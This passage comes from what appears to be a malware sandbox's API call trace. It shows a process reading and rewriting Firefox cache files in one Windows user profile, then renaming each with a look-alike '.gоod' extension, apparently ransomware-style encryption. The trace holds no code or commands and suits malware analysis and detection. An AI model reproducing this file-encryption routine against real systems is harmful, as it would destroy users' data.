lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F", lpFilePart=0x0) returned 0x7f [0249.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0249.105] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1c069501161f85f05dfe519adecb1bafd807156f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0249.105] GetFileType (hFile=0x858) returned 0x1 [0249.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0249.105] GetFileType (hFile=0x858) returned 0x1 [0249.105] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x24707 [0249.106] WriteFile (in: hFile=0x858, lpBuffer=0x38ced20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x38ced20*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0249.106] CloseHandle (hObject=0x858) returned 1 [0249.107] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F", lpFilePart=0x0) returned 0x7f [0249.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0249.107] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1c069501161f85f05dfe519adecb1bafd807156f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0249.107] GetFileType (hFile=0x858) returned 0x1 [0249.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0249.107] GetFileType (hFile=0x858) returned 0x1 [0249.107] ReadFile (in: hFile=0x858, lpBuffer=0x38d1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x38d1088*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0249.927] CloseHandle (hObject=0x858) returned 1 [0249.927] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F", lpFilePart=0x0) returned 0x7f [0249.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0249.927] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1c069501161f85f05dfe519adecb1bafd807156f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0249.928] GetFileType (hFile=0x858) returned 0x1 [0249.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0249.928] GetFileType (hFile=0x858) returned 0x1 [0249.928] WriteFile (in: hFile=0x858, lpBuffer=0x3750178*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x3750178*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0249.928] CloseHandle (hObject=0x858) returned 1 [0249.928] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F", lpFilePart=0x0) returned 0x7f [0249.928] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F.gоod", lpFilePart=0x0) returned 0x84 [0249.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0249.928] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1c069501161f85f05dfe519adecb1bafd807156f"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61ed75c7, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x61ed75c7, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x912f4336, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x24717)) returned 1 [0249.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0249.928] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1c069501161f85f05dfe519adecb1bafd807156f"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1C069501161F85F05DFE519ADECB1BAFD807156F.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1c069501161f85f05dfe519adecb1bafd807156f.gоod")) returned 1 [0249.929] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F", lpFilePart=0x0) returned 0x7f [0249.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0249.930] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d4ee0bd1687b84b2825218a1a1b8aba40ed9f3f"), fInfoLevelId=0x0, lpFileInformation=0x38047a0 | out: lpFileInformation=0x38047a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fb491e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3fb491e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3fb491e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d2)) returned 1 [0249.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0249.930] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F", lpFilePart=0x0) returned 0x7f [0249.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0249.930] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d4ee0bd1687b84b2825218a1a1b8aba40ed9f3f"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0249.930] GetFileType (hFile=0x858) returned 0x1 [0249.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0249.930] GetFileType (hFile=0x858) returned 0x1 [0249.930] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x4d2 [0249.930] ReadFile (in: hFile=0x858, lpBuffer=0x3805070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3805070*, lpNumberOfBytesRead=0x1fbeb028*=0x4d2, lpOverlapped=0x0) returned 1 [0250.038] CloseHandle (hObject=0x858) returned 1 [0250.178] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F", lpFilePart=0x0) returned 0x7f [0250.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0250.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d4ee0bd1687b84b2825218a1a1b8aba40ed9f3f"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0250.179] GetFileType (hFile=0x858) returned 0x1 [0250.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0250.179] GetFileType (hFile=0x858) returned 0x1 [0250.179] WriteFile (in: hFile=0x858, lpBuffer=0x38a5be0*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x38a5be0*, lpNumberOfBytesWritten=0x1fbeaf38*=0x4e0, lpOverlapped=0x0) returned 1 [0250.180] CloseHandle (hObject=0x858) returned 1 [0250.180] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F", lpFilePart=0x0) returned 0x7f [0250.180] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F.gоod", lpFilePart=0x0) returned 0x84 [0250.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0250.180] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d4ee0bd1687b84b2825218a1a1b8aba40ed9f3f"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fb491e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3fb491e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x91553299, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e0)) returned 1 [0250.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0250.180] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d4ee0bd1687b84b2825218a1a1b8aba40ed9f3f"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D4EE0BD1687B84B2825218A1A1B8ABA40ED9F3F.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d4ee0bd1687b84b2825218a1a1b8aba40ed9f3f.gоod")) returned 1 [0250.181] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", lpFilePart=0x0) returned 0x7f [0250.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0250.181] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d79d261da6da4377c082c90df4e5ee4ffeb51bc"), fInfoLevelId=0x0, lpFileInformation=0x38a6f80 | out: lpFileInformation=0x38a6f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x621f871c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x621f871c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x621f871c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1a3d)) returned 1 [0250.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0250.182] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", lpFilePart=0x0) returned 0x7f [0250.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0250.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d79d261da6da4377c082c90df4e5ee4ffeb51bc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0250.182] GetFileType (hFile=0x858) returned 0x1 [0250.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0250.182] GetFileType (hFile=0x858) returned 0x1 [0250.182] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0250.182] ReadFile (in: hFile=0x858, lpBuffer=0x38a74e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x38a74e8*, lpNumberOfBytesRead=0x1fbeb0c8*=0xa3d, lpOverlapped=0x0) returned 1 [0250.188] CloseHandle (hObject=0x858) returned 1 [0250.188] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", lpFilePart=0x0) returned 0x7f [0250.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0250.188] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d79d261da6da4377c082c90df4e5ee4ffeb51bc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0250.188] GetFileType (hFile=0x858) returned 0x1 [0250.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0250.188] GetFileType (hFile=0x858) returned 0x1 [0250.188] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1a3d [0250.188] WriteFile (in: hFile=0x858, lpBuffer=0x38a8e18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x38a8e18*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0250.188] CloseHandle (hObject=0x858) returned 1 [0250.189] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", lpFilePart=0x0) returned 0x7f [0250.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0250.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d79d261da6da4377c082c90df4e5ee4ffeb51bc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0250.189] GetFileType (hFile=0x858) returned 0x1 [0250.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0250.189] GetFileType (hFile=0x858) returned 0x1 [0250.190] ReadFile (in: hFile=0x858, lpBuffer=0x38ab180, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x38ab180*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0250.528] CloseHandle (hObject=0x858) returned 1 [0250.528] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", lpFilePart=0x0) returned 0x7f [0250.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0250.528] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d79d261da6da4377c082c90df4e5ee4ffeb51bc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0250.529] GetFileType (hFile=0x858) returned 0x1 [0250.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0250.529] GetFileType (hFile=0x858) returned 0x1 [0250.529] WriteFile (in: hFile=0x858, lpBuffer=0x37ead18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x37ead18*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0250.878] CloseHandle (hObject=0x858) returned 1 [0251.086] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", lpFilePart=0x0) returned 0x7f [0251.086] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC.gоod", lpFilePart=0x0) returned 0x84 [0251.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0251.086] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d79d261da6da4377c082c90df4e5ee4ffeb51bc"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x621f871c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x621f871c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x91befeed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1a4d)) returned 1 [0251.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0251.086] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d79d261da6da4377c082c90df4e5ee4ffeb51bc"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d79d261da6da4377c082c90df4e5ee4ffeb51bc.gоod")) returned 1 [0251.087] GetFullPathNameW (in: 